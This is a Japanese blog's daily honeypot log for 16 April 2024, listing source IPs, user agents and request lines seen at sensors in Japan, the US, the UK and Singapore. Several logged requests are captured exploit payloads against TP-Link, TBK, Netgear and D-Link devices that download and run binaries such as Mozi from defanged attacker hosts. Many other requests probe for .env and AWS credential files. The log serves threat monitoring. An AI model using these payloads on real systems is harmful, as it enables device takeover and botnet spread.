コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2024/04/16 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2024/04/16分です。

特徴
共通

zgrabによるスキャン行為
/.envへのスキャン行為

Location:JP

GPONルータの脆弱性を狙うアクセス
Joomla!の脆弱性(CVE-2023-23752)を狙うアクセス
ownCloud Graph APIの脆弱性(CVE-2023-49103)を狙うアクセス
/.awsへのスキャン行為
/.gitへのスキャン行為
WordPressへのスキャン行為
configファイルへのスキャン行為
phpMyAdminへのスキャン行為

を確認しました。

Location:US

NetGear製品の脆弱性を狙うアクセス
TBK製品の脆弱性を狙うアクセス
TP-Link製品の脆弱性を狙うアクセス
CensysInspectによるスキャン行為
wpbotによるスキャン行為
/.gitへのスキャン行為

を確認しました。

Location:UK

D-link製品の脆弱性を狙うアクセス
TBK製品の脆弱性を狙うアクセス
TP-Link製品の脆弱性を狙うアクセス
curlによるスキャン行為
.jsへのスキャン行為
Apache Tomcatへのスキャン行為
Gh0stRATのような動き

を確認しました。

Location:SG

GPONルータの脆弱性を狙うアクセス
TBK製品の脆弱性を狙うアクセス
TP-Link製品の脆弱性を狙うアクセス
CensysInspectによるスキャン行為
curlによるスキャン行為
.jsへのスキャン行為
/.gitへのスキャン行為
Apache Tomcatへのスキャン行為

を確認しました。

他
アクセス数推移

JP：総アクセス数：273 (前日比：187)
US：総アクセス数：90 (前日比：27)
UK：総アクセス数：98 (前日比：19)
SG：総アクセス数：94 (前日比：6)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 13.40.170.162 United States
1 31.220.98.203 Spain
2 34.95.8.67 United States
1 44.210.149.120 United States
1 45.56.108.128 United States
1 54.226.241.80 United States
2 64.227.41.39 United States
2 78.153.140.179 Russia
1 80.75.212.75 Ireland
1 91.92.245.67 Bulgaria
1 93.185.157.142 Russia
9 101.32.192.203 Singapore
1 104.192.0.61 United States
12 118.123.105.85 China
2 129.204.230.165 China
12 135.125.217.54 France
3 135.125.244.48 France
1 152.42.176.18 United States
1 159.100.13.152 Germany
1 162.243.143.48 United States
4 165.154.48.24 Hong Kong
1 165.227.237.50 United States
2 185.100.87.136 Seychelles
4 185.218.21.45 Spain
3 185.254.196.173 Ukraine
1 185.254.196.186 Ukraine
14 191.101.174.72 Chile
21 191.101.174.74 Chile
17 191.101.174.75 Chile
146 192.227.138.170 United States
2 198.235.24.225 United States
2 205.210.31.17 United States

UserAgent一覧

件数 UserAgent
168 -
3 Go-http-client/1.1
1 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
7 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
3 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11
1 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.145 Safari/537.36
3 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
21 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
10 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
8 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
3 Mozilla/5.0 (Windows NT 10.0; rv:105.0) Gecko/20100101 Firefox/105.0
2 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
21 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
2 Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
1 Mozilla/5.0 (X11; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
3 Mozilla/5.0 zgrab/0.x
1 Python-urllib/3.10
1 python-requests/2.25.1
6 python-requests/2.31.0

リクエスト内容一覧

件数 Method Request Protocol
1 \x16\x03\x01\x01\x17\x01
1 \x16\x03\x01\x01\x9c\x01
2 \x16\x03\x01\x01\xa6\x01
1 \x16\x03\x01\x01\xb3\x01
1 \x16\x03\x01\x01\xfa\x01
8 \x16\x03\x01
1 \x16\x03\x02\x01\x99\x01
1 \x16\x03\x03\x01G\x01
1 \x16\x03\x03\x01U\x01
1 \x16\x03\x03\x01\x98\x01
2 \x16\x03\x03\x01\xa4\x01
1 ``
1 CONNECT api[.]ipify[.]org:443 HTTP/1.1
1 CONNECT www[.]google[.]com:443 HTTP/1.1
1 GET /.DS_Store HTTP/1.1
1 GET /.aws/.env.save HTTP/1.1
1 GET /.aws/.env HTTP/1.1
2 GET /.aws/credentials HTTP/1.1
1 GET /.aws/phpinfo HTTP/1.1
1 GET /.aws/wp-config.php-backup HTTP/1.1
1 GET /.aws/wp-config.php.save HTTP/1.1
1 GET /.aws/wp-config.php HTTP/1.1
1 GET /.config/.env.save HTTP/1.1
1 GET /.config/.env HTTP/1.1
1 GET /.config/credentials HTTP/1.1
1 GET /.config/phpinfo HTTP/1.1
1 GET /.config/wp-config.php-backup HTTP/1.1
1 GET /.config/wp-config.php.save HTTP/1.1
1 GET /.config/wp-config.php HTTP/1.1
1 GET /.env.prod HTTP/1.1
1 GET /.env.production HTTP/1.1
1 GET /.env.save HTTP/1.1
24 GET /.env HTTP/1.1
1 GET /.git/HEAD HTTP/1.1
3 GET /.git/config HTTP/1.1
1 GET /.json HTTP/1.1
1 GET /.vscode/sftp.json HTTP/1.1
2 GET /?%3Cplay%3Ewithme%3C/%3E HTTP/1.1
1 GET /AwsConfig.json HTTP/1.1
1 GET /__tests__/test-become/.env HTTP/1.1
1 GET /_profiler/open?file=app/config/parameters.yml HTTP/1.1
1 GET /_profiler/phpinfo HTTP/1.1
1 GET /_wpeprivate/config.json HTTP/1.1
1 GET /aaa9 HTTP/1.1
1 GET /aab8 HTTP/1.1
1 GET /admin-app/.env.save HTTP/1.1
1 GET /admin-app/.env HTTP/1.1
1 GET /admin-app/credentials HTTP/1.1
1 GET /admin-app/phpinfo HTTP/1.1
1 GET /admin-app/wp-config.php-backup HTTP/1.1
1 GET /admin-app/wp-config.php.save HTTP/1.1
1 GET /admin-app/wp-config.php HTTP/1.1
1 GET /api/.env.save HTTP/1.1
1 GET /api/.env HTTP/1.1
1 GET /api/credentials HTTP/1.1
1 GET /api/index.php/v1/config/application?public=true HTTP/1.1
1 GET /api/phpinfo HTTP/1.1
1 GET /api/wp-config.php-backup HTTP/1.1
1 GET /api/wp-config.php.save HTTP/1.1
1 GET /api/wp-config.php HTTP/1.1
1 GET /app/.env.save HTTP/1.1
1 GET /app/.env HTTP/1.1
1 GET /app/config/parameters.yml HTTP/1.1
1 GET /app/credentials HTTP/1.1
1 GET /app/phpinfo HTTP/1.1
1 GET /app/wp-config.php-backup HTTP/1.1
1 GET /app/wp-config.php.save HTTP/1.1
1 GET /app/wp-config.php HTTP/1.1
1 GET /app_dev.php/_profiler/open?file=app/config/parameters.yml HTTP/1.1
1 GET /app_dev.php/_profiler/phpinfo HTTP/1.1
1 GET /apps/.env.save HTTP/1.1
1 GET /apps/.env HTTP/1.1
1 GET /apps/credentials HTTP/1.1
1 GET /apps/phpinfo HTTP/1.1
1 GET /apps/wp-config.php-backup HTTP/1.1
1 GET /apps/wp-config.php.save HTTP/1.1
1 GET /apps/wp-config.php HTTP/1.1
1 GET /aws.json HTTP/1.1
1 GET /aws/.env.save HTTP/1.1
1 GET /aws/.env HTTP/1.1
1 GET /aws/credentials HTTP/1.1
1 GET /aws/phpinfo HTTP/1.1
1 GET /aws/wp-config.php-backup HTTP/1.1
1 GET /aws/wp-config.php.save HTTP/1.1
1 GET /aws/wp-config.php HTTP/1.1
1 GET /awsconfig.json HTTP/1.1
1 GET /back/.env.save HTTP/1.1
1 GET /back/.env HTTP/1.1
1 GET /back/phpinfo HTTP/1.1
1 GET /back/wp-config.php-backup HTTP/1.1
1 GET /back/wp-config.php.save HTTP/1.1
1 GET /back/wp-config.php HTTP/1.1
1 GET /client_secrets.json HTTP/1.1
1 GET /conf.json HTTP/1.1
1 GET /conf/.env.save HTTP/1.1
1 GET /conf/.env HTTP/1.1
1 GET /conf/credentials HTTP/1.1
1 GET /conf/phpinfo HTTP/1.1
1 GET /conf/wp-config.php-backup HTTP/1.1
1 GET /conf/wp-config.php.save HTTP/1.1
1 GET /conf/wp-config.php HTTP/1.1
1 GET /config.json HTTP/1.1
1 GET /config/.env.save HTTP/1.1
1 GET /config/.env HTTP/1.1
1 GET /config/config.json HTTP/1.1
1 GET /config/credentials HTTP/1.1
1 GET /config/default.json HTTP/1.1
1 GET /config/phpinfo HTTP/1.1
1 GET /config/wp-config.php-backup HTTP/1.1
1 GET /config/wp-config.php.save HTTP/1.1
1 GET /config/wp-config.php HTTP/1.1
1 GET /configs/.env.save HTTP/1.1
1 GET /configs/.env HTTP/1.1
1 GET /configs/credentials HTTP/1.1
1 GET /configs/phpinfo HTTP/1.1
1 GET /configs/wp-config.php-backup HTTP/1.1
1 GET /configs/wp-config.php.save HTTP/1.1
1 GET /configs/wp-config.php HTTP/1.1
1 GET /configurations/.env.save HTTP/1.1
1 GET /configurations/.env HTTP/1.1
1 GET /configurations/credentials HTTP/1.1
1 GET /configurations/phpinfo HTTP/1.1
1 GET /configurations/wp-config.php-backup HTTP/1.1
1 GET /configurations/wp-config.php.save HTTP/1.1
1 GET /configurations/wp-config.php HTTP/1.1
1 GET /core/.env.save HTTP/1.1
1 GET /core/.env HTTP/1.1
1 GET /core/credentials HTTP/1.1
1 GET /core/phpinfo HTTP/1.1
1 GET /core/wp-config.php-backup HTTP/1.1
1 GET /core/wp-config.php.save HTTP/1.1
1 GET /core/wp-config.php HTTP/1.1
1 GET /cp/.env.save HTTP/1.1
1 GET /cp/.env HTTP/1.1
1 GET /cp/credentials HTTP/1.1
1 GET /cp/phpinfo HTTP/1.1
1 GET /cp/wp-config.php-backup HTTP/1.1
1 GET /cp/wp-config.php.save HTTP/1.1
1 GET /cp/wp-config.php HTTP/1.1
1 GET /credentials/.env.save HTTP/1.1
1 GET /credentials/.env HTTP/1.1
1 GET /credentials/config.json HTTP/1.1
1 GET /credentials/credentials HTTP/1.1
1 GET /credentials/phpinfo HTTP/1.1
1 GET /credentials/wp-config.php-backup HTTP/1.1
1 GET /credentials/wp-config.php.save HTTP/1.1
1 GET /credentials/wp-config.php HTTP/1.1
1 GET /credentials HTTP/1.1
1 GET /database-config.json HTTP/1.1
1 GET /db.json HTTP/1.1
1 GET /db/robomongo.json HTTP/1.1
1 GET /debug/default/view.html HTTP/1.1
1 GET /debug/default/view?panel=config/frontend_dev.php HTTP/1.1
1 GET /debug/default/view?panel=config HTTP/1.1
1 GET /debug/default/view HTTP/1.1
1 GET /deployment-config.json HTTP/1.1
1 GET /env.json HTTP/1.1
1 GET /env/.env.save HTTP/1.1
1 GET /env/.env HTTP/1.1
1 GET /env/credentials HTTP/1.1
1 GET /env/phpinfo HTTP/1.1
1 GET /env/wp-config.php-backup HTTP/1.1
1 GET /env/wp-config.php.save HTTP/1.1
1 GET /env/wp-config.php HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET /frontend_dev.php/$ HTTP/1.1
1 GET /info.php HTTP/1.1
1 GET /login/.env.save HTTP/1.1
1 GET /login/.env HTTP/1.1
1 GET /login/credentials HTTP/1.1
1 GET /login/phpinfo HTTP/1.1
1 GET /login/wp-config.php-backup HTTP/1.1
1 GET /login/wp-config.php.save HTTP/1.1
1 GET /login/wp-config.php HTTP/1.1
1 GET /manager/text/list HTTP/1.1
1 GET /owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php HTTP/1.1
1 GET /parameters.yml HTTP/1.1
1 GET /phpinfo.php HTTP/1.1
1 GET /phpinfo HTTP/1.1
1 GET /phpmyadmin/index.php HTTP/1.1
1 GET /phpmyadmin4.8.5/index.php HTTP/1.1
1 GET /redmine/.env HTTP/1.1
1 GET /robomongo.json HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /sapi/debug/default/view HTTP/1.1
1 GET /sendgrid.json HTTP/1.1
1 GET /settings/.env.save HTTP/1.1
1 GET /settings/.env HTTP/1.1
1 GET /settings/credentials HTTP/1.1
1 GET /settings/phpinfo HTTP/1.1
1 GET /settings/wp-config.php-backup HTTP/1.1
1 GET /settings/wp-config.php.save HTTP/1.1
1 GET /settings/wp-config.php HTTP/1.1
1 GET /setup/.env.save HTTP/1.1
1 GET /setup/.env HTTP/1.1
1 GET /setup/credentials HTTP/1.1
1 GET /setup/phpinfo HTTP/1.1
1 GET /setup/wp-config.php-backup HTTP/1.1
1 GET /setup/wp-config.php.save HTTP/1.1
1 GET /setup/wp-config.php HTTP/1.1
1 GET /sftp-config.json HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
1 GET /smtp.json HTTP/1.1
1 GET /src/.env.save HTTP/1.1
1 GET /src/.env HTTP/1.1
1 GET /src/credentials HTTP/1.1
1 GET /src/phpinfo HTTP/1.1
1 GET /src/wp-config.php-backup HTTP/1.1
1 GET /src/wp-config.php.save HTTP/1.1
1 GET /src/wp-config.php HTTP/1.1
1 GET /ssh-config.json HTTP/1.1
1 GET /systembc/password.php HTTP/1.0
1 GET /user-config.json HTTP/1.1
1 GET /v3/time HTTP/1.1
1 GET /web/debug/default/view HTTP/1.1
1 GET /wp-config.php-backup HTTP/1.1
1 GET /wp-config.php.save HTTP/1.1
1 GET /wp-config.php HTTP/1.1
1 GET /ws-config.json HTTP/1.1
1 GET http[:]//httpbin[.]org/ip HTTP/1.1
9 HEAD /Core/Skin/Login.aspx HTTP/1.1
1 OPTIONS / HTTP/1.0
1 POST /.env.prod HTTP/1.1
1 POST /.env HTTP/1.1
1 POST /FD873AC4-CF86-4FED-84EC-4BD59C6F17A7 HTTP/1.1
1 POST /__tests__/test-become/.env HTTP/1.1
1 POST /boaform/admin/formLogin HTTP/1.1
1 POST /index.htm HTTP/1.1
1 POST /redmine/.env HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
2 34.82.182.133 United States
1 35.87.127.67 United States
12 36.156.22.4 China
1 38.68.48.24 United States
1 39.78.87.129 China
1 45.33.80.243 United States
1 45.79.128.205 United States
1 45.79.181.223 United States
2 45.79.181.251 United States
1 45.125.66.34 Hong Kong
1 50.17.44.77 United States
5 54.36.115.221 France
8 57.129.23.166 France
1 64.62.197.128 United States
1 64.62.197.132 United States
1 64.62.197.136 United States
2 71.6.134.233 United States
1 74.82.47.5 United States
2 78.153.140.177 Russia
2 80.75.212.75 Ireland
1 80.94.92.60 Romania
1 83.97.73.245 Germany
3 103.56.61.130 China
1 104.236.128.33 United States
1 106.75.173.226 China
1 106.75.175.181 China
1 139.59.101.104 Singapore
4 143.198.204.194 United States
4 157.230.45.135 United States
2 162.142.125.212 United States
2 162.142.125.214 United States
2 165.227.147.215 United States
4 167.71.197.10 United States
2 167.71.201.139 United States
2 167.71.202.190 United States
2 167.94.138.51 United States
2 172.104.11.51 United States
1 178.128.37.229 United States
1 192.241.235.22 United States
1 199.204.96.242 United States
1 199.247.10.246 United States
2 205.210.31.11 United States
2 205.210.31.156 United States

UserAgent一覧

件数 UserAgent
42 -
6 Go-http-client/1.1
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 OPR/95.0.0.0
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
16 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
3 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0
3 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1 Mozilla/5.0 (compatible; wpbot/1.0; +https[:]//forms[.]gle/ajBaxygz9jSR8p8G9)
3 Mozilla/5.0 zgrab/0.x
9 Mozilla/5.0
1 python-requests/2.25.1

リクエスト内容一覧

件数 Method Request Protocol
1 MGLNDD_34.68.118.83_80\n
1 \x16\x03\x01\x01H\x01
8 \x16\x03\x01\x01\x07\x01
1 \x16\x03\x01\x01\x9d\x01
2 \x16\x03\x01\x01\xa7\x01
1 \x16\x03\x01\x01\xb4\x01
1 \x16\x03\x01\x01\xfb\x01
16 \x16\x03\x01
1 \x16\x03\x02\x01\x9a\x01
1 \x16\x03\x03\x01H\x01
1 \x16\x03\x03\x01V\x01
1 \x16\x03\x03\x01\x99\x01
2 \x16\x03\x03\x01\xa5\x01
1 CONNECT google[.]com:443 HTTP/1.1
2 CONNECT www[.]google[.]com:443 HTTP/1.1
16 GET /.env HTTP/1.1
2 GET /.git/config HTTP/1.1
1 GET /.vscode/sftp.json HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /aaa9 HTTP/1.1
1 GET /aab8 HTTP/1.1
9 GET /cdn-cgi/trace HTTP/1.1
1 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F103[.]163[.]214[.]97%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk) HTTP/1.1
1 GET /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F94[.]156[.]8[.]244%2Fbruh.sh%3Bchmod%20777%20bruh.sh%3B.%2Fbruh.sh HTTP/1.1
6 GET /favicon.ico HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /manager/text/list HTTP/1.1
2 GET /robots.txt HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//39[.]78[.]87[.]129:51604/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /webui/ HTTP/1.1
1 OPTIONS / HTTP/1.0
3 PRI * HTTP/2.0
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 5.188.206.213 Russia
2 35.228.97.116 United States
1 45.33.80.243 United States
2 45.79.181.94 United States
2 45.79.181.104 United States
1 45.79.181.223 United States
2 45.125.66.34 Hong Kong
1 45.227.254.19 Belize
1 45.227.254.49 Belize
7 54.36.115.221 France
8 57.129.23.166 France
1 65.49.20.66 United States
1 66.240.192.82 United States
1 66.240.205.34 United States
2 78.153.140.177 Russia
2 78.153.140.179 Russia
3 80.75.212.75 Ireland
2 80.94.92.60 Romania
1 84.54.51.13 Bulgaria
12 103.56.61.130 China
1 107.170.236.28 United States
3 118.123.105.85 China
1 123.178.210.57 China
1 139.59.101.104 Singapore
1 143.110.172.197 United States
1 152.42.176.18 United States
2 157.230.45.135 United States
1 162.243.135.43 United States
13 165.227.224.232 United States
2 167.71.207.184 United States
1 172.104.11.51 United States
1 172.105.128.11 United States
1 172.105.128.12 United States
1 172.105.128.13 United States
2 178.128.84.187 United States
3 184.105.139.69 United States
1 192.99.7.195 Canada
1 195.140.227.163 Ukraine
1 199.204.96.242 United States
2 205.210.31.52 United States
2 205.210.31.143 United States
3 222.186.13.132 China

UserAgent一覧

件数 UserAgent
43 -
8 Go-http-client/1.1
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
8 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
17 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
6 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36
3 Mozilla/5.0 zgrab/0.x
5 Mozilla/5.0
1 curl/8.1.2

リクエスト内容一覧

件数 Method Request Protocol
1 Gh0st\xad
1 MGLNDD_132.145.66.34_80\n
1 SSH-2.0-libssh2_1.10.0
2 \x03
1 \x16\x03\x01\x01H\x01
2 \x16\x03\x01\x01\x07\x01
1 \x16\x03\x01\x01\x9e\x01
2 \x16\x03\x01\x01\xa8\x01
1 \x16\x03\x01\x01\xb5\x01
1 \x16\x03\x01\x01\xfc\x01
23 \x16\x03\x01
1 \x16\x03\x02\x01\x9b\x01
1 \x16\x03\x03\x01I\x01
1 \x16\x03\x03\x01W\x01
1 \x16\x03\x03\x01\x9a\x01
2 \x16\x03\x03\x01\xa6\x01
2 CONNECT google[.]com:443 HTTP/1.1
3 CONNECT www[.]google[.]com:443 HTTP/1.1
17 GET /.env HTTP/1.1
2 GET /.well-known/security.txt HTTP/1.1
1 GET /1.php HTTP/1.1
1 GET /aaa9 HTTP/1.1
1 GET /aab8 HTTP/1.1
1 GET /bundle.js HTTP/1.1
4 GET /cdn-cgi/trace HTTP/1.1
1 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F103[.]163[.]214[.]97%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk) HTTP/1.1
1 GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=Zm9yIHBpZCBpbiAkKGxzIC9wcm9jIHwgZ3JlcCAtRSAnXlswLTldKyQnKTsgZG8gZ3JlcCAtcSAnKGRlbGV0ZWQpJyAvcHJvYy8kcGlkL21hcHMgJiYga2lsbCAtOSAkcGlkIHx8IHRydWU7IGRvbmU7IGNkOyBjdXJsIC1PIGh0dHA6Ly85NC4xNTYuOC4yNDQvYXJtNTtjaG1vZCA3NzcgYXJtNTsuL2FybTUgZGxpbms= HTTP/1.1
1 GET /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F94[.]156[.]8[.]244%2Fbruh.sh%3Bchmod%20777%20bruh.sh%3B.%2Fbruh.sh HTTP/1.1
5 GET /favicon.ico HTTP/1.1
1 GET /files/ HTTP/1.1
1 GET /form.html HTTP/1.1
1 GET /geoip/ HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /info.php HTTP/1.1
1 GET /manager/html HTTP/1.1
1 GET /manager/text/list HTTP/1.1
1 GET /password.php HTTP/1.1
2 GET /robots.txt HTTP/1.1
1 GET /systembc/password.php HTTP/1.1
1 GET /upl.php HTTP/1.1
1 GET /webui/ HTTP/1.1
1 GET http[:]//httpbin[.]org/ip HTTP/1.1
1 OPTIONS / HTTP/1.0
1 POST /login HTTP/1.1
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 4.231.124.171 United States
2 34.159.1.66 United States
1 34.228.169.126 United States
7 36.156.22.4 China
1 45.56.108.128 United States
1 45.79.128.205 United States
1 45.79.181.251 United States
2 45.125.66.34 Hong Kong
3 54.36.115.221 France
10 54.37.79.75 France
1 64.62.197.58 United States
2 78.153.140.179 Russia
2 80.75.212.75 Ireland
1 80.94.92.60 Romania
1 84.54.51.13 Bulgaria
1 93.185.157.142 Russia
1 107.175.70.169 United States
1 120.86.41.83 China
2 137.184.85.24 United States
13 146.190.250.176 United States
2 162.142.125.210 United States
13 165.227.224.232 United States
2 167.71.201.139 United States
2 167.71.202.190 United States
1 167.94.145.52 United States
2 167.94.146.59 United States
1 169.197.86.76 United States
1 172.104.11.4 United States
1 172.104.11.51 United States
2 172.105.128.13 United States
1 178.128.114.115 United States
3 184.105.139.70 United States
2 185.170.144.3 Estonia
1 195.140.227.163 Ukraine
1 198.199.114.61 United States
2 198.235.24.13 United States
1 199.204.96.242 United States
2 205.210.31.216 United States

UserAgent一覧

件数 UserAgent
35 -
6 Go-http-client/1.1
2 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
16 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.78
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 OPR/95.0.0.0
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246
16 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
3 Mozilla/5.0 zgrab/0.x
4 Mozilla/5.0
2 curl/8.1.2
1 python-requests/2.25.1

リクエスト内容一覧

件数 Method Request Protocol
2 \x03
2 \x16\x03\x01\x01\x07\x01
28 \x16\x03\x01
2 CONNECT google[.]com:443 HTTP/1.1
2 CONNECT www[.]google[.]com:443 HTTP/1.1
18 GET /.env HTTP/1.1
1 GET /.git/config HTTP/1.1
2 GET /1.php HTTP/1.1
1 GET /aaa9 HTTP/1.1
1 GET /aab8 HTTP/1.1
2 GET /bundle.js HTTP/1.1
2 GET /cdn-cgi/trace HTTP/1.1
1 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F103[.]163[.]214[.]97%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk) HTTP/1.1
1 GET /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F94[.]156[.]8[.]244%2Fbruh.sh%3Bchmod%20777%20bruh.sh%3B.%2Fbruh.sh HTTP/1.1
5 GET /favicon.ico HTTP/1.1
2 GET /files/ HTTP/1.1
2 GET /form.html HTTP/1.1
2 GET /geoip/ HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
2 GET /info.php HTTP/1.1
1 GET /manager/html HTTP/1.1
1 GET /manager/text/list HTTP/1.1
